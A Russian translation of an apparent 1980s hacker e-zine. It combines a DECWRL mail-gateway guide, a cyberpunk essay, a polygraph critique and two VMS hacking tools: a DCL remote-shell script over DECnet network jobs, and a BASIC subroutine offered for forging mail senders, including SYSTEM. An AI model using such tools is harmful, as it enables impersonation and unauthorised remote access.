Система именования Интернета использует иерархические домены, которые, несмотря на громкое название, представляют собой всего лишь бухгалтерский приём. По сути, не имеет значения, говорить ли `УЗЕЛ::ПОЛЬЗОВАТЕЛЬ` или `ПОЛЬЗОВАТЕЛЬ@УЗЕЛ`, — но что произойдёт, если соединить сети двух компаний, в каждой из которых есть узел ANCHOR? Нужно как-то указать, какой именно ANCHOR имеется в виду. Можно сказать `ANCHOR.DEC::USER`, `DEC.ANCHOR::USER`, `USER@ANCHOR.DEC` или `USER@DEC.ANCHOR`. Интернет-соглашение — `USER@ANCHOR.DEC`, где владелец (DEC) стоит после имени (ANCHOR).

Но может существовать несколько организаций с именем DEC — Digital Equipment Corporation, Down East College или Disabled Education Committee. Техника, которую Интернет использует для разрешения подобных конфликтов, — иерархические домены. Обычный домен — это не DEC или STANFORD, а DEC.COM (коммерческий) и STANFORD.EDU (образовательный). Домены могут делиться дальше: ZK3.DEC.COM или CS.STANFORD.EDU. Впрочем, конфликты этим не исчерпываются: и Центральный университет Мичигана, и Университет Карнеги — Меллон могли бы претендовать на CMU.EDU. Решение принимает владелец домена EDU, точно так же, как владелец CMU.EDU решает, кому — электротехническому или педагогическому факультету — достанется поддомен EE.CMU.EDU.

Система доменов, пусть и несовершенная, полностью расширяема. Если два адреса потенциально конфликтуют, можно добавить к ним домен-суффикс, тем самым разграничивая, например, `decwrl.UUCP` и `DECWRL.ENET`.

Вся почтовая система DECWRL организована в соответствии с интернет-доменами: внутри вся почта обрабатывается как интернет-почта. Входящая почта преобразуется в интернет-формат и затем маршрутизируется в соответствующий домен; если этот домен требует конвертации, она выполняется при прохождении через шлюз. Например, почта Easynet помещается в домен `ENET.DEC.COM`, а почта BITNET — в домен `BITNET`.

Домены верхнего уровня, поддерживаемые шлюзом DECWRL:

```
.EDU        Образовательные учреждения
.COM        Коммерческие организации
.GOV        Государственные учреждения
.MIL        Военные организации
.ORG        Различные организации
.NET        Сетевые операции
.BITNET     Сеть BITNET
.MAILNET    Сеть MAILNET
.??         Двухбуквенный код страны для маршрутизации в другие страны
.OZ         Часть австралийского пространства имён (.AU)
```

Двухбуквенные коды стран: UK (Великобритания), FR (Франция), IT (Италия), CA (Канада), AU (Австралия) и др. Это стандартные двухбуквенные коды стран по ISO.

Отправка почты в Easynet

Чтобы отправить письмо пользователю SPRINTER на узел WASH (адрес DECNET: `WASH::SPRINTER`), интернет-адрес должен выглядеть как `sprinter@wash.enet.dec.com`. Адреса Easynet не зависят от регистра: WASH и wash — одно и то же имя узла, SPRINTER и sprinter — одно и то же имя пользователя.

Сайты, не имеющие прямого подключения к Интернету, могут испытывать трудности с интернет-адресами вида `wash.enet.dec.com`. Они могут отправлять почту в Easynet, явно маршрутизируя её через DECWRL. Для доменных интернет-клиентов адрес: `sprinter%wash.enet@decwrl.dec.com`. Для клиентов UUCP: `decwrl!wash.enet!sprinter`. Некоторые интернет-клиенты требуют формы ``. (Эта последняя форма является единственно технически корректной формой явного маршрута, однако её поддерживают очень немногие интернет-сайты.)

Шлюз DECWRL также поддерживает различные устаревшие форматы адресов, оставшиеся от прошлого. Как правило, поддержка устаревших форматов сохраняется два года после изменения, а затем отменяется.

Отправка почты пользователям Digital All-in-1

Некоторые пользователи Easynet не имеют прямого адреса DECNET, а читают почту через All-in-1 с адресами вида «Nate State @UCA», где «UCA» — код местоположения Digital. Чтобы направить почту таким пользователям, отправьте её на `Nate.State@UCA.MTS.DEC.COM`. Почта, полученная от клиента All-in-1, не допускает ответа: если адресат не укажет обратный адрес в теле письма, обычно невозможно даже вычислить его, изучая заголовок. Почта из All-in-1 в Easynet проходит через шлюзовую программу, которая не создаёт корректных обратных адресов.

Отправка почты в Интернет

Почтовый клиент DECWRL является интернет-клиентом, поэтому для отправки на интернет-сайт достаточно использовать его адрес. Если возникают трудности с определением интернет-адреса, может помочь таблица хостов Ultrix `/etc/hosts.txt`. Если её нет нигде поблизости, она есть на DECWRL. Подробности о том, как убедиться, что почтовая программа корректно интерпретирует адрес, см. в разделе «Как отправить почту» выше.

Отправка почты в UUCP

Почта UUCP маршрутизируется отправителем вручную: в качестве разделителя используется символ `!`. Таким образом, адрес `xxx!yyy!zzz!user` означает: позвонить на машину xxx и переслать ей письмо с адресом назначения `yyy!zzz!user`. Та, в свою очередь, звонит на yyy — и так далее.

Для корректной адресации в UUCP необходимо знать рабочий маршрут в сети UUCP. База данных достаточно хаотична, так что автоматическая маршрутизация не работает надёжно (хотя многие сайты всё равно её используют). Информация о связях UUCP распространяется в группе новостей USENET `comp.mail.maps`; многие сайты собирают эти данные и позволяют локально запрашивать их.

В конце этого файла приведён список UUCP-узлов, с которыми у DECWRL в настоящее время есть работающее соединение.

Отправка почты в USENET

Usenet — не сеть. Это программный уровень, охватывающий несколько сетей. Многие говорят «Usenet», имея в виду UUCP. Сообщение можно разместить в группе новостей Usenet, отправив его на адрес "*имя*`@usenet`" на DECWRL. Например, отправив из VMS письмо на этот адрес:

```
nm%DECWRL::"alt.cyberpunk@usenet"
```

— письмо будет опубликовано как статья в группе новостей Usenet `alt.cyberpunk`. Для публикации статей лучше использовать специализированное программное обеспечение Usenet: оно предоставляет больше возможностей, таких как ограниченное распространение, кросс-постинг и отмена отправленных по ошибке статей.

Отправка почты в BITNET

По легенде, «BIT» в BITNET расшифровывается как «Because It's There» («потому что оно есть») или «Because It's Time» («потому что пришло время»). Это сеть, состоящая преимущественно из IBM-компьютеров. Стандартный адрес BITNET выглядит как "`OMAR at STANFORD`", но в переводе в наш интернет-формат становится `omar@stanford.bitnet`. В интернет-форме адрес BITNET используется как любой другой интернет-адрес.

Отправка почты в Fidonet

По сравнению с другими связанными сетями, адресация в Fidonet граничит с абсурдом. Сами участники Fidonet предоставили следующее описание:

Каждый узел Fidonet является членом «сети» (network) и может иметь дочерние узлы, называемые «point nodes». Типичный адрес Fido — «1:987/654» или «987/654»; типичный адрес «point node» — «1:987/654.32» или «987/654.32». Это зона 1, сеть 987, узел Fido 654, «point node» 32. Если номер зоны отсутствует, считается, что это зона 1. В исходящем сообщении номер зоны должен быть указан.

Чтобы отправить сообщение Chris Jones на адрес Fidonet 1:987/654, используйте адрес `Chris.Jones@f654.n987.z1.fidonet.org`. Чтобы отправить сообщение Mark Smith на узел Fidonet 987/654.32, используйте адрес `Mark.Smith@p32.f654.n987.z1.fidonet.org`. Используйте их как любой другой интернет-адрес.

Обратные адреса в сообщениях из Fidonet иногда выглядят иначе. Ответить на них может быть возможно, а может и нет.

Приложение: список UUCP-соседей DECWRL

В этой таблице приведено большинство сайтов, с которыми DECWRL напрямую связан по UUCP. Она может пригодиться для построения маршрута UUCP до конкретного адресата. Сайты, отмеченные «*», являются основными узлами маршрутизации UUCP — предпочтительно

использовать их в качестве первого перехода из DECWRL. В именах хостов UUCP регистр имеет значение.

[Таблица из 62 записей — опущена]

Decnet Hackola: Remote Turist TTY (RTT)

Автор: *Hobbit*

Этот сетевой инструмент для VMS — ещё одна утилита типа «tell». Однако у неё есть необычная особенность: рекурсия (то есть, находясь в соединении с одним хостом, можно открыть *ещё одно* соединение с третьим хостом, и оно [попытается!] «сделать всё правильно»). Кроме того, можно выйти по ^Y, и если запустить программу снова, она вернётся к открытому соединению вместо того, чтобы начинать новое.

_H*

```
  ************************************************************************

  $! RTT -- Remote Turist TTY interface.  Do @RTT hostname or @RTT area.node
  $! to start; this file must exist in the remote machine's default area.
  $! You can ^Y out and the network channel will stick around; invoking RTT
  $! again will resume the extant process and ignore arguments.
  $! If we are a network object, play server, if not, we must be the client.
  $! If we are called while already playing server, recurse to the end host.
  $! This recursion in theory can happen infinite times.  Make damn sure
  $! what you call this file and the "task=" spec jive, and that they are the
  $! same file, or you will fall victim to very vicious timing screws.
  $!
  $! Another result of *Hobbit* abusing network file jobs until well past dawn.
  $!
  $! _H*
  $set noon
  $if f$mode().eqs."NETWORK".and.p1.eqs."" then $goto srv
  $! Talking to a luser, go find the net job
  $magic=0                        ! assume top level
  $if f$trnlnm("nf",,,,,"table_name").nes."" then $goto lread
  $sl=f$len(p1)
  $dot=f$locate(".",p1)           ! area.node
  $if sl.eq.dot then $goto nopen  ! no dot, treat normally
  $q=f$loc("""",p1)               ! access control??
  $node=f$ext(0,dot,p1)           ! area
  $dot=dot+1                      ! point past it now
  $node=node*1024+f$ext(dot,q-dot,p1)  ! and pull out the complete node
  $rest="""+f$ext(q,80,p1)+"""  ! superquotify the quotes [yeccchh!]
  $p1="''node'''rest'"            ! add remains in stringwise [ack barf]
  $! We were called with an argument; but if we're network mode, we're *already*
  $! a server, so do special things.
  $nopen: $if f$mode().eqs."NETWORK" then $magic=1
  $! Top-level user process or recursed here: client connect
  $open/read/write/err=yuk nf 'p1'::"0=rtt"
  $read/time=5/err=yuk nf hprm    ! let other end tell us where we got
  $prm==hprm                      ! global prompt str so we resume correctly
  $write sys$output "Connection open"
  $if magic then $goto m_setup
  $lread: $read/prompt="''prm'$ "/end=lclose sys$command line
  $write nf line                  ! send the sucker and go get the stuff
  $ltype: $read/time=8/err=tmo/end=lclose nf line
  $if line.eqs."%%eoc%%" then $goto lread
  $if line.eqs."%%magic%%" then $goto newprm
  $write sys$output line
  $goto ltype
  $newprm: $read nf hprm          ! new prompt gets piped in from servers
  $prm==hprm                      ! let us find it
  $read nf line                   ! garbola %%eoc%% -- avoid timing fuckup
  $if line.nes."%%eoc%%" then $goto hpe  !! oops !!
  $goto lread
  $tmo: $write sys$output "[Timed out]"   ! supposed to bail out on a fuckup
  $goto lread                             ! it doesn't always work, though.
  $!
```

```
$! Do a special dance when we're recursing
$m_setup: $write nnn "%%magic%%"
$write nnn prm                  ! notify client end of new connection
$signal                         ! flush the inbetweens
$goto rread                     ! and drop to magic server
$!
$srv:                           ! Normal remote task half
$! This is an unbelievable kludge.  You can't just open sys$net: and then
$! have program output go there as well as the control thingies, but you
$! *can* pipe everything to your sys$net-opened-device: and it *works*!
$open/read/write/err=yuk nnn sys$net:
$close sys$output               ! netserver.log?
$close sys$error
$magic=0                        ! not recursing yet
$! Some handy symbols for the far end
$rtt:==@sys$login:rtt           ! make further connects easier
$ncp:==$ncp                     ! for hacking the network
$signal:==write nnn """%%eoc%%""" ! magic sync string
$write nnn f$trnl("sys$node","lnm$system_table")        ! HELO...
$def/pr sys$output nnn:         ! the awful kludge is invoked
$def/pr sys$error nnn:          ! for error handling too
$!
$! Server loop
$rread: $read/end=rclose nnn line
$if magic then $goto passing
$'line'
$m_cmd_end: $signal             ! signal for all completions
$goto rread
$! If we're magically in the middle, handle differently
$passing: $write nf line
$mtype: $read/time=5/err=mclose/end=mclose nf line
$if line.eqs."%%eoc%%" then $goto m_cmd_end
$write nnn line
$goto mtype
$!
$! Closure and error handlers
$! General protocol error catch
$yuk: $write sys$output "Couldn't open network!"
$exit
$! Here if the luser typed ^Z
$lclose: $close nf              ! should signal eof at far end
$exit
$! Here if we got hung up on by the client
$rclose: $if magic then $close nf
$close nnn
$stop/id=0
$! Here if we're magic and our remote server exited: tell client whats flying
$mclose: $close nf
$magic=0
$write nnn "%%magic%%"
$write nnn f$trnl("sys$node","lnm$system_table")
$signal
$goto rread
$! Here if we recursed down the line there and didn't see the right things
$hpe: $write sys$output "!!Hairy protocol error!!"
$close nf
$exit
```

Поддельная почта в VAX/VMS

Автор: Jack T. Tab

В августовском выпуске журнала VAX PROFESSIONAL за 1986 год была опубликована подпрограмма на BASIC, приведённая в конце данного текста. Лишь спустя более двух лет DEC включила вызываемый почтовый интерфейс в VMS 5.x. Официальная версия значительно более обширна, однако включённая здесь подпрограмма обладает одной важной возможностью. Способность заставить почтовое сообщение выглядеть так, будто оно отправлено кем-то другим, — полезное дополнение к большинству «инструментальных наборов».

VMS Mail работает двумя способами. Первый — привычный интерактивный режим. Второй — в качестве сетевого объекта. В этом режиме MAIL вызывается командной процедурой NETSERVER.COM в ответ на входящий запрос соединения. MAIL.EXE активируется как сетевой объект 27. Другие сетевые объекты можно просмотреть с помощью команды NCP `SHOW KNOWN OBJECTS`. В этом режиме MAIL.EXE работает как ведомый процесс, получая инструкции от ведущего процесса. Ведущим, как правило, является другой процесс, запускающий MAIL.EXE в интерактивном режиме. Ведомый процесс может обрабатывать запросы на доставку почты любому количеству получателей. Адреса, находящиеся не на том же узле, что и ведомый процесс, пересылаются путём активации ещё одного ведомого процесса на целевом узле. Информация, передаваемая ведущим MAIL ведомому MAIL, весьма проста и понятна: она представляет собой последовательность строк.

Первая строка — имя отправителя (FROM). Именно это и делает подпрограмму полезной, поскольку в качестве имени может быть указано что угодно (например, `the_Easter_Bunny`). Следующий набор строк — адреса получателей. По одному адресу на строку, завершающихся нулевой строкой `chr(0)`. Третий элемент — то, что получатели видят в поле TO:. Это тоже может быть произвольным значением. VMS MAIL может использовать этот параметр для своих списков рассылки `.DIS`. Последний элемент — тело сообщения. Оно также завершается нулевой строкой. Тема почтового сообщения берётся из первой строки этого текста.

Ведомый процесс MAIL будет отправлять обратно соответствующие статусные сообщения об ошибках, если они возникнут. Например: «Addressee Unknown» («Адресат неизвестен»), ошибки VMS и DECnet вроде «Disk Quota Exceeded» («Дисковая квота превышена») или «Remote Node Not Reachable» («Удалённый узел недостижим»).

Единственная привилегия, которая, по всей видимости, необходима, — это NETMBX. Без неё подпрограмма не может вызвать MAIL как сетевой объект. Наши любимые системные администраторы решили проблему выдачи себя за пользователя SYSTEM, установив MAIL с привилегией NETMBX и убрав эту привилегию из студенческих учётных записей. Подпрограмма одинаково хорошо работает как с адресами JNET и BITNET, так и с адресами DECNET.

```
**********************************CUT HERE************************************
1  %TITLE 'MAIL SUBROUTINE'

   SUB MAILT( STRING NODE, &
       STRING FROM_NAME, &
       STRING TO_LIST(), &
       STRING TO_SHOW, &
       STRING SUBJECT, &
       STRING TEXT() )

   OPTION TYPE = INTEGER
```

```
    DECLARE INTEGER FUNCTION &
      PUT_MSG

    DECLARE STRING FUNCTION &
      GET_MSG, &
      GET_INPUT

    DECLARE INTEGER CONSTANT &
      TRUE = -1, &
      FALSE = 0
    Net_Link_Open = FALSE

    Z = POS( NODE + ":" , ":" , 1)
    NODE_NAME$ = LEFT$( NODE , Z - 1 )
    ON ERROR GOTO Mail_Net_Error
    MAIL_CHANNEL = 12
    OPEN NODE_NAME$ + '::"27="' AS FILE MAIL_CHANNEL

    Net_Link_Open = TRUE

    STS = PUT_MSG( FROM_NAME )
    IF STS <> 0 THEN
      GOTO ERROR_DONE
    END IF
    RECEIVERS = 0
    TO_COUNT = 1

Mail_Recipients:
    IF TO_LIST( TO_COUNT ) = "" THEN
      GOTO End_Of_Line
    END IF
    STS = PUT_MSG( EDIT$( TO_LIST( TO_COUNT ) , 32 ) )
    IF STS <> 0 THEN
      GOTO Error_Done
    END IF
    GOSUB Errchk
    IF LINK_ERR <> 0 THEN
      GOTO Error_Done
    END IF

    IF ( ERRSTS AND 1 ) = 0 THEN
      GOTO Error_Done
    END IF

    TO_COUNT = TO_COUNT + 1
    GOTO Mail_Recipients

END_OF_LINE:
    STS = PUT_MSG( CHR$(0) )
    IF STS <> 0 THEN
      GOTO Error_Done
    END IF
    IF RECEIVERS = 0 THEN
      GOTO Mail_Done
    END IF

    STS = PUT_MSG( TO_SHOW )
    IF STS <> 0 THEN
      GOTO Error_Done
    END IF

    STS = PUT_MSG( SUBJECT )
    IF STS <> 0 THEN
      GOTO Error_Done
    END IF

    FOR I = 1 UNTIL TEXT(I) = CHR$(255)
      STS = PUT_MSG( TEXT(I) )
      IF STS <> 0 THEN
        GOTO Error_Done
      END IF
```

```
   NEXT I

   STS = PUT_MSG( CHR$(0) )
   IF STS <> 0 THEN
     GOTO Error_Done
   END IF
   SAVE_COUNT = RECEIVERS
   INDEX = 0

Delivery_Check:
   GOSUB Errchk
   IF LINK_ERR <> 0 THEN
     GOTO Error_Done
   END IF
   INDEX = INDEX + 1
   IF INDEX <> SAVE_COUNT THEN
     GOTO Delivery_Check
   END IF
   GOTO Mail_Done

Errchk:
   MAIL_STS = ASCII( GET_MSG )
   IF LINK_ERR <> 0 THEN
     ERRSTS = LINK_ERR
     RETURN
   END IF
   IF ( MAIL_STS AND 1 ) = 1 THEN
     Receivers = Receivers + 1
     ERRSTS = MAIL_STS
     RETURN
   END IF

Errmsg:
   MAIL_ERR$ = GET_MSG
   IF LINK_ERR <> 0 THEN
     ERRSTS = LINK_ERR
     RETURN
   END IF
   IF LEN( MAIL_ERR$ ) <> 1 THEN
     PRINT MAIL_ERR$
     GOTO Errmsg
   END IF
   IF ASCII( MAIL_ERR$ ) = 0 THEN
     RETURN
   ELSE
     GOTO Errmsg
   END IF

   DEF INTEGER PUT_MSG( STRING M )
   ON ERROR GOTO 1550
   MLEN = LEN( M )
   MOVE TO # MAIL_CHANNEL , M = MLEN
   PUT # MAIL_CHANNEL, COUNT MLEN
   PUT_MSG = 0
   EXIT DEF

1550 RESUME 1555

1555 PUT_MSG = ERR
     END DEF

   DEF STRING GET_INPUT( INTEGER C )
   EOF = FALSE
   ON ERROR GOTO 1650
   GET # C
   R = RECOUNT
   MOVE FROM #C , TEMP$ = R
   GET_INPUT = TEMP$
   EXIT DEF

1650 RESUME 1655
```

```
1655 EOF = TRUE
     END DEF

   DEF STRING GET_MSG
   ON ERROR GOTO 1750
   GET # MAIL_CHANNEL
   R = RECOUNT
   MOVE FROM # MAIL_CHANNEL , TEMP$ = R
   GET_MSG = TEMP$
   LINK_ERR = 0
   EXIT DEF

1750 RESUME

1755 LINK_ERR = ERR
     END DEF

Mail_Net_Error:
  RESUME 1900

1900 PRINT "%Network communications error."

Error_Done:

Mail_Done:
   IF Net_Link_Open THEN
     CLOSE MAIL_CHANNEL
   END IF

   END SUB
**********************************CUT HERE************************************
```

Согласованные реальности в киберпространстве

Автор: Paul Saffo
Издание: Personal Computing Magazine

Чаще, чем мы осознаём, реальность берётся подражать искусству. В случае с реальностью компьютерных вирусов таким искусством оказывается «киберпанк» — странно притягательный жанр научной фантастики, снискавший культовую популярность среди хакеров, действующих по обе стороны закона. Книги с названиями вроде «Истинные имена», «Наездник волны», «Нейромант», «Жёсткий провод», «Мокроделы» и «Мона Лиза Овердрайв» формируют реальность многих начинающих вирусных адептов. Каждому, кто пытается разобраться в социальной культуре вокруг вирусов, стоит добавить эти книги в свой список для чтения.

Киберпанк получил своё название лишь несколько лет назад, однако корни жанра уходят к публикации романа Джона Браннера «Наездник волны» в 1975 году. Вдохновлённый бестселлером Элвина Тоффлера 1970 года «Шок будущего», Браннер рисует антиутопический мир начала XXI века, в котором самые пессимистичные предсказания Тоффлера воплотились в жизнь. В перенаселённых городских аркологиях повсеместно царят преступность, загрязнение окружающей среды и нищета. Незавершённый ядерный обмен на рубеже веков превратил гонку вооружений в гонку умов. Герой романа, Никки Хэфлинджер, вырван из нищего, безотцовского детства и зачислен в сверхсекретный правительственный мозговой трест, призванный готовить гениев для служения военно-промышленному Большому Брату, ведущему борьбу за мировое политическое господство.

Это также мир, который наверняка воплотит самые смелые фантазии телефонных «фриков» 1970-х годов. Огромная компьютеризованная информационная сеть накрывает всю Северную Америку — электронная супермагистраль, ведущая к каждому компьютеру и каждому последнему байту данных о каждом гражданине и каждой корпорации в стране. Приватность стала делом прошлого, а власть и статус человека определяются его уровнем идентификационного кода. Оказывается, Хэфлинджер — это вершина эволюции телефонного фрика: он раскрывает аморальность своих правительственных хозяев и скрывается в обществе, опираясь на виртуозное владение компьютером (и украденный трансцендентальный код доступа), чтобы переписывать свою личность по желанию. Проведя шесть лет в бегах и будучи на грани срыва от информационной перегрузки, он обнаруживает затерявшуюся общину академических технолибертарианцев, которые укрывают его в своей экологически чистой калифорнийской коммуне, и... ну, дальше вы можете догадаться сами.

Книга Браннера стала бестселлером и по сей день не снята с печати. Она вдохновила целое поколение хакеров, в том числе, по всей видимости, Роберта Морриса-младшего из Корнелльского университета, прославившегося своим вирусом. Газета Los Angeles Times сообщала, что мать Морриса назвала «Наездника волны» «букварём по компьютерным вирусам для своего сына-подростка и одной из самых зачитанных книг в комнате молодого Морриса». Хотя в «Наезднике волны» термин «вирус» не используется, главным умением Хэфлинджера было создание «ленточных червей» — автономных программ, способных проникать в системы и выживать при попытках уничтожения, восстанавливая себя из вирусных фрагментов кода, спрятанных в более крупных программах. Параллель между реальностью Морриса и искусством Браннера не ускользает от поклонников киберпанка: один школьник средней школы, с которым мне довелось поговорить, держит и зачитанный до дыр экземпляр книги, и фотографию Морриса, приклеенную рядом с компьютером. Для него Моррис одновременно народный герой и образец для

подражания.

В «Наезднике волны» взаимодействие человека с компьютером происходило примерно так, как сегодня: пользователь входил в систему и взаимодействовал с машинами посредством клавиатуры и экрана. Напротив, киберпанк второго поколения предлагает более экзотические и непосредственные формы взаимодействия. «Истинные имена» Вернора Винджа стали первым романом, намекнувшим на нечто более глубокое. В его истории небольшой группе хакеров удаётся преодолеть ограничения клавиатуры и экрана и встречаться как присутствия внутри сетевой системы. Работа Винджа нашла восторженных читателей (в том числе Марвина Мински, написавшего послесловие), однако так и не достигла тиражей, которыми пользовался Браннер. Поставить киберпанк на карту предстояло другому автору — человеку, фактически невежественному в компьютерных делах.

Этим автором был Уильям Гибсон, написавший «Нейроманта» в 1984 году на портативной печатной машинке Hermes 1937 года. Никаких клавиатур — персонажи Гибсона напрямую подключаются к Киберпространству, «коллективной галлюцинации, которую ежедневно переживают миллиарды законных операторов... графическому представлению данных, абстрагированных из банков каждого компьютера человеческой системы. Немыслимая сложность. Линии света, выстроенные в непространстве разума, скопления и созвездия данных...»

Подобно тому как Браннер предложил нам будущее разбушевавшихся 1970-х, «Нейромант» Гибсона подаёт 1980-е, доведённые до культурного и технологического предела. Мировая власть сосредоточена в руках транснациональных «дзайбацу», борющихся за господство так же, как мафия и группировки якудза сегодня делят территорию. Это мир пересадки органов, биологических компьютеров и искусственных интеллектов. Как и у Браннера, это антиутопическое видение будущего, однако если Браннер передавал жёсткость технологии, Гибсон воспроизводит грязную декадентность, навеянную фильмом «Бегущий по лезвию» или романом Уильяма Берроуза «Голый завтрак» (предполагаемое сходство этого романа с «Нейромантом» породило слухи о плагиате Берроуза со стороны Гибсона).

Герой Гибсона, Кейс, — «ковбой деки», вольнонаёмный корпоративный вор, который проецирует своё бестелесное сознание в матрицу киберпространства, проникая в корпоративные системы ради кражи данных для работодателей. Это мир, понятный Ивану Боэски: корпоративный шпионаж и двойная игра стали настолько нормой, что поступки Кейса выглядят не столько незаконными, сколько глубоко двусмысленными.

Эта двусмысленность служит интересным контрапунктом к текущим событиям. Споры вокруг корнелльского вируса во многом крутятся вокруг правовой и этической неоднозначности поступка Морриса. На каждого специалиста в области вычислительной техники, требующего наказать Морриса, находится другой, превозносящий его. Это такая двусмысленность, которая превращает само слово «хакер» в предмет постоянных дискуссий.

Очевидная невинная ошибка Морриса никак не соответствует поступкам персонажей Гибсона, однако целое новое поколение начинающих хакеров, возможно, черпает свой кодекс этики из романов Гибсона. «Нейромант» завоевал три самые престижные награды в научной фантастике — «Хьюго», «Небьюлу» и Мемориальную премию Филипа К. Дика — и по сей день остаётся бестселлером. Однозначно незаконные и вредоносные акты компьютерного пиратства, подобные тем, что вменяются Кевину Митнику (арестованному после длительного и агрессивного проникновения в компьютеры DEC), вполне вписались бы в сюжетную линию «Нейроманта».

«Нейромант» — первая книга трилогии. Во втором томе, «Граф Ноль» — названном так по кодовому имени одного из персонажей, — матрица киберпространства обретает разум. В характерной для Гибсона литературной элегантности это становится очевидным через художественную версию теста Тьюринга. Вместо того чтобы вести интеллектуальный разговор с человеком, узел матрицы на заброшенной орбитальной фабрике начинает создавать мучительно

прекрасные и загадочные ящики — версия XXI века работ покойного художника Джозефа Корнелла. Эти произведения искусства начинают появляться на наземном рынке, и молодая арт-дилер нанята неизвестным покровителем, чтобы найти их источник. Её поиски переплетаются с судьбами других персонажей, выстраиваясь к развязке, не уступающей по яркости и напряжению «Нейроманту». Третья книга, «Мона Лиза Овердрайв», отвечает на многие вопросы, оставшиеся без ответа в первой книге, и дополняет детали мира, созданного Гибсоном, включая принятие сетью обличий пантеона богов и богинь вуду, которым поклоняются растафарианские хакеры XXI века.

Фанатики научной фантастики печально известны тем, что отождествляют себя с мирами, изображёнными в любимых книгах. Посетите любой конвент по научной фантастике, и среди большинства вполне нормальных участников вы наткнётесь на небольшое меньшинство людей, которые выглядят... ну, немного странно. Стереотип людей, проживающих фантастические фантазии в интровертном уединении, имеет более чем лёгкую основу в реальности. Доктора Кто, прячущиеся в шкафу, или Монахи-воины из «Звёздных войн» в Кремниевой долине — не редкость; однажды за обедом я с удивлением обнаружил, что программист, занимающий значительную должность в крупной компании, считает себя волшебницей в буквальном смысле слова.

Похоже, что отождествление себя с киберпанком на подобном уровне становится всё более распространённым. Монахи-воины, возможно, испытывают трудности с вызовом Имперских Штурмовиков для сражения, однако начинающие деки-жокеи могут зайти в самые разные компьютерные системы — в качестве приглашённых или (если они достаточно умелы) незваных гостей. Один мой собеседник объяснил, что вирусы обладали для него особой привлекательностью, поскольку давали возможность «оставить активное альтер-эго в системе даже в то время, когда я не был подключён». Иными словами, это был первый шаг к переживанию киберпространства.

Гибсон, по всей видимости, уходит от киберпанка, однако число книг в жанре продолжает расти. Здесь не упомянут ряд других авторов — таких как Руди Ракер (которого многие считают отцом киберпанка) и Уолтер Джон Уильямс, — предлагающих схожие видения будущего сетевого мира, населённого симбионтами человека и компьютера. Кроме того, по меньшей мере один журнал — «Reality Hackers» (бывший «High Frontiers Magazine», известный своими публикациями о наркотиках) — исследует ту же общую территорию с разнообразным меню в виде ироничной паранойи, рецензий на эмбиентную музыку, «кибердели» (термин участника Тимоти Лири) и философии нью-эйдж.

Растущий корпус материала отнюдь не является источником вдохновения для каждого начинающего цифрового алхимика. Меня особенно поражает «разрыв поколений» в компьютерном сообществе применительно к «Нейроманту»: практически каждый хакер-подросток, с которым я разговаривал, читал эту книгу, однако почти никто из моих друзей старше тридцати её не брал.

Точно так же не каждый поклонник киберпанка является потенциальным сетевым преступником: немало людей читают детективные триллеры, не испытывая желания ограбить банк. Но нет никаких сомнений в том, что небольшое меньшинство компьютерных художников находит в киберпанке важный источник вдохновения в своих попытках создать крайне странную компьютерную реальность. Тому, кто хочет понять, как эта реальность может воплотиться в жизнь, стоит взяться за один-два романа в жанре киберпанка.

Правда о детекторах лжи

Автор: Razor's Edge

10 ноября 1989 года

Американцы любят гаджеты, поэтому популярность детектора лжи не трудно объяснить. Многие люди верят в его достоверность: приборы и распечатки напоминают те, что используют врачи и другие специалисты, собирающие научные данные, а сам детектор лжи — простой и удобный способ обойти сложные решения. Полиграфия стремительно становится американской одержимостью — одержимостью, которую, к слову, не разделяют ни британцы, ни европейцы, ни, насколько нам известно, русские.

Всё возрастающая зависимость американской промышленности от полиграфа отражает огромную веру в рациональные процессы науки. Каждый из нас помнит момент, когда голос предательски менялся, стоило нам солгать. Раз уж мы можем «услышать» ложь, наука наверняка сумеет её обнаружить. Тем более шокирующим оказывается открытие того, насколько хрупки научные основания полиграфа.

Корни детектора лжи — более официальное название которого «полиграф» — уходят в начало века, когда увлечённость новооткрытыми возможностями электричества не раз брала верх над здравым смыслом. Но если электрические средства для восстановления волос и высоковольтные «лекарства от рака» канули в Лету, полиграф не только сохранился, но и процветает. По самым точным оценкам, ежегодно в Соединённых Штатах проводится свыше миллиона полиграфических проверок. Их применяют в ходе уголовных расследований, при проверках государственной безопасности, а также — всё чаще — встревоженными работодателями, прежде всего банками и магазинами. В некоторых регионах страны женщина обязана пройти тест на детекторе лжи, прежде чем власти возбудят дело об изнасиловании. В 1983 году телешоу «Детектор лжи» добавило к полиграфическим тестам измерение домашних развлечений.

Агентство национальной безопасности (АНБ) возглавляет список федеральных пользователей полиграфа; и оно, и ЦРУ в значительной мере полагаются на тестирование на полиграфе при отборе кандидатов на работу и плановых проверках безопасности. АНБ сообщало, что в 1982 году провело почти 10 000 тестов (данные ЦРУ засекречены). Те, кого признают «лжецами», нередко теряют работу — даже при отсутствии реальных улик против них. Более того, заключение по результатам полиграфа может стать постоянной частью личного дела сотрудника, и добиться его исправления будет крайне сложно.

После ареста в июне 1985 года четырёх военнослужащих ВМС США по обвинению в шпионаже вопрос использования полиграфа для разоблачения шпионов или выявления нечестных соискателей вышел на передний план дискуссии о том, что следует предпринять для защиты оборонных и корпоративных секретов и отпугивания потенциальных воров на рабочих местах.

По существу тот же вопрос лежит в основе затяжного противостояния между администрацией Рейгана и Конгрессом по планам расширения государственного применения полиграфа. Изданный 11 марта 1983 года президентский указ, известный как Директива 84 Совета национальной безопасности, впервые санкционировал «негативные последствия» для федерального служащего, отказавшегося пройти тест по требованию. Директива разрешала проверку кандидатов на определённые допуски к секретным сведениям и допрос любого федерального служащего об утечках секретной информации. (Директива была выпущена вскоре после заявления Рейгана о том, что он «по горло сыт» утечками в прессу.) Практически одновременно Министерство обороны (МО) опубликовало проект положения, разрешавшего применение полиграфа для проверки сотрудников,

допущенных к выполнению секретных разведывательных задач; оно также предусматривало негативные последствия за отказ.

Критики полиграфа утверждают, что его применение представляет собой вторжение в частную жизнь — особенно когда за этим вторжением стоит принудительная сила государства или работодателя. Соискателю трудно сказать «нет», когда потенциальный работодатель просит его пройти полиграф; будучи подключён к аппарату, соискатель может столкнуться с вопросами не только о прошлых уголовных деяниях, но и о вещах, которые работодатель не вправе затрагивать, — например, о сексуальной жизни или азартных играх. Эти вопросы задаются якобы для оценки «характера» соискателя. В результате подобных злоупотреблений в девятнадцати штатах и округе Колумбия организациям запрещено предлагать сотрудникам проходить полиграфические проверки.

